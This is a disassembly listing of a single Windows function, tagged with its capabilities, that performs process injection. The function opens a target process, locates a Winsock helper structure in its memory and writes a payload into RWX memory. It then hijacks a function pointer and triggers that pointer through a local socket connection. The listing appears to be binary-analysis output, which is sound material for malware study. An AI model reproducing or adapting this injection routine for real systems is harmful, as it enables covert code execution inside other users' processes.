Function at 0x140001c50
Capabilities:
Allocate or change rwx memory
Connect socket

Disassembly:
push rbp
push rbx
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x58]
sub rsp, 0x158
mov rax, qword [0x140020008]
xor rax, rsp
mov qword [rbp + 0x30], rax
mov r15, r8
mov r14d, r9d
mov r8d, ecx
movzx r12d, dx
mov ebx, ecx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x140001cab
mov edx, ebx
lea rcx, str.Unable_to_open_PID_:__i_n
call fcn.140001010
jmp 0x140001db3
mov qword [rsp + 0x150], rsi
lea rdx, [rsp + 0x68]
lea rcx, str.E70F1AA0_AB8B_11CF_8CA3_00805F48A192
mov qword [rsp + 0x148], r13
call qword [sym.imp.ole32.dll_CLSIDFromString]
mov ecx, ebx
call fcn.140001070
mov rbx, rax
test rax, rax
je 0x140001d8e
call fcn.140001240
test eax, eax
je 0x140001d8e
mov esi, eax
lea r8, [rsp + 0x38]
lea rax, [rsp + 0x48]
add rsi, rbx
mov rdx, rsi
mov qword [rsp + 0x20], rax
mov r9d, 0x10
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rbx, qword [rsp + 0x38]
lea rax, [rsp + 0x48]
mov rdx, rbx
mov qword [rsp + 0x20], rax
mov r9d, 0xb0
lea r8, [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x140001d8e
nop dword [rax]
cmp qword [rsp + 0x48], 0xb0
jne 0x140001d8e
mov rax, qword [rbp - 0x40]
cmp rax, qword [rsp + 0x68]
jne 0x140001d61
mov rax, qword [rbp - 0x38]
cmp rax, qword [rsp + 0x70]
je 0x140001dd0
mov rbx, qword [rbp - 0x80]
cmp rbx, rsi
je 0x140001d8e
lea rax, [rsp + 0x48]
mov r9d, 0xb0
lea r8, [rbp - 0x80]
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x140001d40
lea rcx, str.Unable_to_find_WINSOCK_HELPER_DLL_INFO_entry._n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r13, qword [rsp + 0x148]
mov rsi, qword [rsp + 0x150]
mov rcx, qword [rbp + 0x30]
xor rcx, rsp
call fcn.140002560
add rsp, 0x158
pop r15
pop r14
pop r12
pop rdi
pop rbx
pop rbp
ret
test rbx, rbx
je 0x140001d8e
mov edx, 1
mov r13d, 2
mov ecx, r13d
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8, r14
xor edx, edx
mov rcx, rdi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140001f23
lea rcx, [rsp + 0x50]
mov r9, r14
mov qword [rsp + 0x20], rcx
mov r8, r15
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001ef2
lea rax, [rsp + 0x50]
mov rcx, rdi
lea r9d, [r13 + 6]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x30]
lea rdx, [rbx + 0x70]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001ee9
movzx ecx, r12w
mov word [rsp + 0x58], r13w
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.127.0.0.1
mov word [rsp + 0x5a], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
lea r8d, [r13 + 0xe]
mov rcx, rsi
lea rdx, [rsp + 0x58]
mov dword [rsp + 0x5c], eax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x140001eba
lea rcx, str.Injection_completed._n
call fcn.140001010
lea ecx, [r13 + 8]
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001ec6
lea rcx, str.Unable_to_connect_to_service._n
call fcn.140001010
lea rax, [rsp + 0x50]
mov r9d, 8
lea r8, [rbp - 0x10]
mov qword [rsp + 0x20], rax
lea rdx, [rbx + 0x70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x140001efe
lea rcx, str.Unable_to_update_function_pointer._n
jmp 0x140001ef9
lea rcx, str.Unable_to_deploy_payload._n
call fcn.140001010
mov rdx, qword [rsp + 0x30]
mov r9d, 0xc000
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x140001d9a
lea rcx, str.Unable_to_allocate_RWX_memory._n
jmp 0x140001d95